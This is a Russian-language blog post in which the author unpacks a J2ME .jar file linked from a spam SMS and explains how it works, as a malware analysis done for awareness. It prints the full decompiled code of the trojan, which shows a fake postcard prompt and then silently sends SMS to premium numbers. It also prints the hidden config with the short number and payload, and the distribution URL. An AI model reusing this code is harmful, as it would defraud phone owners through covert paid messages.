Как стать автором
Обновить

Небольшое исследование sms спама

Время на прочтение 4 мин
Количество просмотров 3.2K
image
Картинка справа не совсем соответствует содержанию поста, просто небольшой пример смс-спама.

Итак, сама история: получил вчера смс следующего содержания:

«Вам MMS сообщение tutu.wml.in/lo.jar»

Очевидно, что это очередной развод и я не стал открывать ссылку и занялся чем-то другим.

Но сегодня утром мне стало интересно, что же там, как оно работает и что делает.


Скачал с компьютера этот джарник и распаковал. Внутри было все по минимуму:

— Небольшая картинка
image

— Скомпилированный java класс main.class
— Какая-то сомнительная пнг-шка, неоткрываемая просмотрщиками картинок.
— Класс ResourceUTF8, взятый видимо отсюда.

Декомпилировав содержимое мэйн-класса я увидел следующий код:
import java.io.IOException;
import javax.microedition.io.Connector;
import javax.microedition.lcdui.Command;
import javax.microedition.lcdui.CommandListener;
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Displayable;
import javax.microedition.lcdui.Form;
import javax.microedition.lcdui.Image;
import javax.microedition.midlet.MIDlet;
import javax.wireless.messaging.MessageConnection;
import javax.wireless.messaging.TextMessage;
import lib.Resources.ResourcesUTF8;

public class main extends MIDlet implements CommandListener {

  public static ResourcesUTF8 language;
  private boolean isLanguage;
  private Form form;
  private Image image;
  private Display display;
  private Command cmd_ok;
  private Command cmd_cancel;

  public main() {
   language = new ResourcesUTF8("/sample.png");
   this.isLanguage = language.load();
   this.cmd_ok = new Command("\u041e\u043a", 4, 2);
   this.cmd_cancel = new Command("\u041e\u0442\u043c\u0435\u043d\u0430", 7, 4);
  }

  public void startApp() {
   this.display = Display.getDisplay(this);

   try {
     this.image = Image.createImage(language.get("picname"));
   } catch (IOException var2) {
     System.out.println(var2.getMessage());
   }

   this.form = new Form(language.get("title"));
   this.form.append(language.get("textvalue"));
   this.form.addCommand(this.cmd_ok);
   this.form.addCommand(this.cmd_cancel);
   this.form.setCommandListener(this);
   this.display.setCurrent(this.form);
  }

  public void pauseApp() {
   System.gc();
  }

  public void destroyApp(boolean var1) {
  }

  public void commandAction(Command var1, Displayable var2) {
   if(var1 == this.cmd_ok) {
     String var3;
     MessageConnection var4;
     TextMessage var5;
     try {
      var3 = "sms://" + language.get("numberphone1");
      var4 = (MessageConnection)Connector.open(var3);
      var5 = (TextMessage)var4.newMessage("text");
      var5.setPayloadText(language.get("message1"));
      var4.send(var5);
     } catch (Exception var8) {
      ;
     }

     try {
      var3 = "sms://" + language.get("numberphone2");
      var4 = (MessageConnection)Connector.open(var3);
      var5 = (TextMessage)var4.newMessage("text");
      var5.setPayloadText(language.get("message2"));
      var4.send(var5);
     } catch (Exception var7) {
      ;
     }

     try {
      var3 = "sms://" + language.get("numberphone3");
      var4 = (MessageConnection)Connector.open(var3);
      var5 = (TextMessage)var4.newMessage("text");
      var5.setPayloadText(language.get("message3"));
      var4.send(var5);
     } catch (Exception var6) {
      ;
     }

     this.form.delete(0);
     this.form.append(this.image);
   }

   if(var1 == this.cmd_cancel) {
     this.notifyDestroyed();
   }

  }
}


* This source code was highlighted with Source Code Highlighter.

Если кому-то интересно декомпилировал онлайн-декомпилятором Fernflower.

Чтобы понять, что делает код, можно даже не быть программистом. Он берет какую-то информацию из той странной png-шки и отправляет смс-ки с телефона.

Вот содержимое png, если ее открыть блокнотом:
title=OTKPblTKA
textvalue=Просмотреть открытку?
picname=/love.JPG
numberphone1=7132
message1=199414999922

А вот и номер, куда будет отправляться смс и текст сообщения. Да, развязка весьма тривиальна. И следовало ожидать именно этого. Но все равно, считаю что не зря потратил время. И быть может кому-нибудь из хабра-сообщества эта информация покажется интересной.

UPD: написал жалобу в службу поддержки владельца короткого номера, воспользовавшись этой инструкцией.
Теги:
Хабы:
+121
Комментарии 69
Комментарии Комментарии 69

Публикации

Истории

Работа

Ближайшие события

Московский туристический хакатон
Дата 23 марта – 7 апреля
Место
Москва Онлайн
Геймтон «DatsEdenSpace» от DatsTeam
Дата 5 – 6 апреля
Время 17:00 – 20:00
Место
Онлайн